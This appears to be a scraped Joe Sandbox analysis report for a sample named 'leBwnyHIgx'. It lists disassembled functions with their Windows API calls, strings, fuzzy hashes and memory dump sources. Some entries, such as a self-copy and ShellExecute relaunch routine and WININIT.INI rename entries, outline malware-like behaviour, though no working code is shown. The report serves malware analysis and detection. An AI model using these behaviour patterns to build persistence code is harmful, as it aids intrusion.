Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?pptr@?$basic_streambuf@$?epptr@?$basic_streambuf@Pninc@?$basic_streambuf@
String ID:
API String ID: 1504536088-3916222277
Opcode ID: b236a37fb06bdb8dee8e7b599258b0d5f450d0f7872909518222e9a22227080f
Instruction ID: a0487576b8a3c5ffe6c335ea50ad64326e07086e404223857e371bd2d0d575a7
Opcode Fuzzy Hash: b236a37fb06bdb8dee8e7b599258b0d5f450d0f7872909518222e9a22227080f
Instruction Fuzzy Hash: 9C5161F5D00119EFDB04CFD4D8819EEBBB5EF48244F148459E901AB241EB34EBA4CBA5

Function 0040430C Relevance: 12.2, APIs: 8, Instructions: 221sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,00000000,02453360,0040763A,?,00000000,02453360,004072DD,00000000,00000220,0042715C,?,004271AA,005B1257,00000000), ref: 004043A2
Sleep.KERNEL32(0000000A,00000000,?,00000000,02453360,0040763A,?,00000000,02453360,004072DD,00000000,00000220,0042715C,?,004271AA,005B1257), ref: 004043BC

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 01c8de7d1c52f1379436ba32370cb002541e89dbe2850501a5063f81bbc03de1
Instruction ID: 18b38d09955f91067994ce57c2704c259faaba03eea283e8c2a7273f2993d898
Opcode Fuzzy Hash: 01c8de7d1c52f1379436ba32370cb002541e89dbe2850501a5063f81bbc03de1
Instruction Fuzzy Hash: E97132716043104BD315DF69C984B16BBD8AFC5315F1482BFE984AB3D2C7B8C901CB89

Function 005A2B7C Relevance: 12.1, APIs: 8, Instructions: 99windowthreadCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 005A2BA2
IsWindowUnicode.USER32(00000000), ref: 005A2BE5
SendMessageW.USER32(00000000,-0000BBEE,00000000,?), ref: 005A2C00
SendMessageA.USER32(00000000,-0000BBEE,00000000,?), ref: 005A2C1F
GetWindowThreadProcessId.USER32(00000000), ref: 005A2C2E
GetWindowThreadProcessId.USER32(?,?), ref: 005A2C3F
SendMessageW.USER32(00000000,-0000BBEE,00000000,?), ref: 005A2C5F

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: MessageSendWindow$ProcessThread$CaptureUnicode
String ID:
API String ID: 1994056952-0
Opcode ID: 79780fc3bec1803b35e57a68d2ec923f4b549fb1d4fc9166e9bf7d30cdcaf988
Instruction ID: 4dfba5f3d1d218beddb166fd502ba4ee7a64a30cf6ddade1315904ca74e7163d
Opcode Fuzzy Hash: 79780fc3bec1803b35e57a68d2ec923f4b549fb1d4fc9166e9bf7d30cdcaf988
Instruction Fuzzy Hash: 51219CB12046096FA620FA5DCA82FAF77DCEF06724F10842AF959C3242EA54FC509774

Function 00404504 Relevance: 10.9, APIs: 7, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68bf383cb7f79b99f340bdf26841dbaafbf7dd31d34f85d7c5e7cd938e48f808
Instruction ID: 291e5d107d462672790c1edf6ff7d0cc3542d77857f31f2adbac887a00927ee5
Opcode Fuzzy Hash: 68bf383cb7f79b99f340bdf26841dbaafbf7dd31d34f85d7c5e7cd938e48f808
Instruction Fuzzy Hash: 17C117A2B102010BD714AE7DDC8476EBA999BC5316F18827FF214EB3D6DA7CDD058348

Function 00CE57F7 Relevance: 10.9, APIs: 7, Instructions: 357filesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00CE5727: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00CE575A

Part of subcall function 00CE56D7: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00CE56F5

_Smanip.LIBCPMTD ref: 00CE5AE1
_Smanip.LIBCPMTD ref: 00CE5B7B
ShellExecuteEx.SHELL32(0000003C), ref: 00CE5CB8
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00CE5CD4
CloseHandle.KERNEL32(00000000), ref: 00CE5CE1
CopyFileA.KERNEL32(00000000,?,00000000), ref: 00CE5D4A
ShellExecuteA.SHELL32(00000000,100185D4,?,00000000,00000000,00000001), ref: 00CE5D70

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: File$ExecuteModuleNameShellSmanip$CloseCopyHandleObjectSingleWait
String ID:
API String ID: 2489516046-0
Opcode ID: 0fe253082a74fc7e1f2c5e44154e34defa3da35614f529e5d97aba5e42ca8e7c
Instruction ID: 5daa8f7e598b8f653a0ed2fd0d351a9f883ee7e4e463d4acc5aa280caedce6ee
Opcode Fuzzy Hash: 0fe253082a74fc7e1f2c5e44154e34defa3da35614f529e5d97aba5e42ca8e7c
Instruction Fuzzy Hash: B8024270D083D8DEEB11DBA4C859BDDBFB16F25304F0441D9D1496B282DBBA1B88DB62

Function 005F8EF4 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 216COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 005F8FDA

Strings

.tmp, xrefs: 005F8F96
NUL, xrefs: 005F909D
MoveFileEx, xrefs: 005F91E4
[rename], xrefs: 005F903E, 005F907A
WININIT.INI, xrefs: 005F8F88

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3304407042
Opcode ID: 72d01abfe8e5969de7e26bb812fea71a54af99fa0a185ea00ff7a95313d2a991
Instruction ID: 2223d5580d9881282453f8846468d4fa0c2eade89701c8d1d1552e55bc4b479c
Opcode Fuzzy Hash: 72d01abfe8e5969de7e26bb812fea71a54af99fa0a185ea00ff7a95313d2a991
Instruction Fuzzy Hash: A6811E34A0060DAFDF10EBA4C986BEEBBB5FF88304F504465E600B7291DB79AE45CB55

Function 10011CD0 Relevance: 10.7, APIs: 7, Instructions: 190COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011CF2
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011CFF
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011D0A
?_Gninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 10011D17

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?egptr@?$basic_streambuf@Gninc@?$basic_streambuf@
String ID:
API String ID: 623893373-0
Opcode ID: 81848bf548e36ae40d1474d4182290775761bbf9aa87b0d71a2db3e462fd0b45
Instruction ID: a0288be0b98a9ca1868d6d550198ab6d9a445e2d27cbf722241acd90e910a963
Opcode Fuzzy Hash: 81848bf548e36ae40d1474d4182290775761bbf9aa87b0d71a2db3e462fd0b45
Instruction Fuzzy Hash: 23716AB5C1021DDFDB18DFE4D8959EEB7B1FF04250F104129E516AB291EB30AE85CBA1

Function 00407368 Relevance: 10.6, APIs: 7, Instructions: 130threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00407828: GetCurrentThreadId.KERNEL32 ref: 0040782B

GetTickCount.KERNEL32 ref: 0040739F
GetTickCount.KERNEL32 ref: 004073B7
GetCurrentThreadId.KERNEL32 ref: 004073E6
GetTickCount.KERNEL32 ref: 00407411
GetTickCount.KERNEL32 ref: 00407448
GetTickCount.KERNEL32 ref: 00407472
GetCurrentThreadId.KERNEL32 ref: 004074E2

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CountTick$CurrentThread
String ID:
API String ID: 3968769311-0
Opcode ID: fa560ec336dd6435e73473a6e2aefd0ccb444b59d075b010f8b419752d8e835c
Instruction ID: 7eaf3b8bd419559424612c501055e418296922ef1fbe2de70383ecb09e47f5c1
Opcode Fuzzy Hash: fa560ec336dd6435e73473a6e2aefd0ccb444b59d075b010f8b419752d8e835c
Instruction Fuzzy Hash: 67414F71A0C3559ED721AE38C48431FBFD1AB80354F14893EE8D8973C2E778A8859757

Function 10011B60 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPAD_J@Z.MSVCP140(?,?,00000000), ref: 10011B98
?_Gnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBE_JXZ.MSVCP140 ref: 10011BB8
_Min_value.LIBCPMTD ref: 10011BCF
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?), ref: 10011BE3
?gbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXH@Z.MSVCP140(?), ref: 10011C0F
fread.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000FFF,00000000), ref: 10011C4D
fread.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,00000000), ref: 10011C9E

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$fread$?gbump@?$basic_streambuf@?gptr@?$basic_streambuf@?xsgetn@?$basic_streambuf@Gnavail@?$basic_streambuf@Min_value
String ID:
API String ID: 1591557727-0
Opcode ID: d4fc38bd5d27632a969096010cf362d5f07236698e0cba18835fbb4ee552d5b6
Instruction ID: e0e71f9b7f058a59da033de4bce7e27fb15f803cdd6c81aee40a3e1b4d5913a5
Opcode Fuzzy Hash: d4fc38bd5d27632a969096010cf362d5f07236698e0cba18835fbb4ee552d5b6
Instruction Fuzzy Hash: CF51C775E00109EFDB48CF98C984AEEBBB5FF88344F108169E905AB354D730AE85DB90

Function 005A2DDC Relevance: 10.6, APIs: 7, Instructions: 105windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 005A2DF0
IsWindowUnicode.USER32 ref: 005A2E04
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005A2E27
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 005A2E3D
TranslateMessage.USER32 ref: 005A2EC2
DispatchMessageW.USER32 ref: 005A2ECF
DispatchMessageA.USER32 ref: 005A2ED7

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Message$Peek$Dispatch$TranslateUnicodeWindow
String ID:
API String ID: 2190272339-0
Opcode ID: fd761d7266132de43e7474990c2049500dae5730ede02df76ae55a535cf0bf77
Instruction ID: d2fd1ee5a8e11b9fb307f93f8c6e517243e3696a9ac5cec3ed267a911c5f8ddb
Opcode Fuzzy Hash: fd761d7266132de43e7474990c2049500dae5730ede02df76ae55a535cf0bf77
Instruction Fuzzy Hash: AB21D63034434176EB31A92D0D47BBFAF9E6F97748F24441EF481DB282CAD698D68226

Function 005B2830 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91windowregistryCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 005B285F
GetFocus.USER32 ref: 005B2867
RegisterClassW.USER32(00661834), ref: 005B2888
ShowWindow.USER32(00000000,00000008,00000000,00400000,00000000,41146400,00000000,00000000,00000000,00000000,80000000,00000000,00400000,00000000,00000000,00000000), ref: 005B2920
SetFocus.USER32(00000000,00000000,005B2942,?,?,?,00000001,00000000,?,00619EC3,0066978C,?,00650D35,?,?,00000000), ref: 005B2927

Strings

TWindowDisabler-Window, xrefs: 005B28BF, 005B2908

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FocusWindow$ActiveClassRegisterShow
String ID: TWindowDisabler-Window
API String ID: 495420250-1824977358
Opcode ID: dc80fc215540cc4eafb9e960a5d421e476d6a1d8b1644f478aa1b5a7317f9f00
Instruction ID: d82140f50c977c4be84b76ca69f426c0dffd831fcdb5b5c939c24f55dbe8d353
Opcode Fuzzy Hash: dc80fc215540cc4eafb9e960a5d421e476d6a1d8b1644f478aa1b5a7317f9f00
Instruction Fuzzy Hash: 1921D171B10701ABE320EF65DD02F9A7AE5FB45B04F504529F904FB2D0EAB8BC9087A5

Function 10016571 Relevance: 10.6, APIs: 7, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100165AE
dllmain_crt_dispatch.LIBCMT ref: 100165C5
_DllMain@12.MSVCRT ref: 100165DC
_DllMain@12.MSVCRT ref: 100165F4
dllmain_raw.LIBCMT ref: 1001660D
dllmain_crt_dispatch.LIBCMT ref: 10016620
dllmain_raw.LIBCMT ref: 10016633

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: dllmain_raw$Main@12dllmain_crt_dispatch
String ID:
API String ID: 3353612457-0
Opcode ID: 98b3f14604f10840f3c0567c90b7ef5983de27fd412168009cf08e435744699c
Instruction ID: 54edc5666c311e175fc24a18419b6af998dcce978129f85e44b2e6ec709a6a51
Opcode Fuzzy Hash: 98b3f14604f10840f3c0567c90b7ef5983de27fd412168009cf08e435744699c
Instruction Fuzzy Hash: E6216DB2D01669ABDB21CF55DD41E6E3AA9EB8CAD0F014129F8146F255C231DE819BE0

Function 0063DBC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 72fileCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DBEC
GetFileAttributesW.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DC05
CreateFileW.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DC2F
CloseHandle.KERNEL32(00000000), ref: 0063DC4D

Strings

GetFinalPathNameByHandleW, xrefs: 0063DBE2
kernel32.dll, xrefs: 0063DBE7

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileHandle$AttributesCloseCreateModule
String ID: GetFinalPathNameByHandleW$kernel32.dll
API String ID: 791737717-340263132
Opcode ID: 904617a2e49037e787060e302256d2bfdad1cab1979f73791d96504fdcffd84e
Instruction ID: 6026778cd775b34b266e918d1895d9f5e5aeea77bfc3c582f4084562949ce8b5
Opcode Fuzzy Hash: 904617a2e49037e787060e302256d2bfdad1cab1979f73791d96504fdcffd84e
Instruction Fuzzy Hash: AD11A9A175030526E62032AA6CC7FBBA14E8B51758F14023ABA54D72D2EDD99D4282DA

Function 005B8F18 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 005B8F29

Part of subcall function 004DD0C0: EnterCriticalSection.KERNEL32(?,00000000,004DD32F,?,?), ref: 004DD108

SelectObject.GDI32(006125F0,00000000), ref: 005B8F4B
GetTextExtentPointW.GDI32(006125F0,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,?), ref: 005B8F5F
GetTextMetricsW.GDI32(006125F0,?), ref: 005B8F81
ReleaseDC.USER32(00000000,006125F0), ref: 005B8F9E

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 005B8F56

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

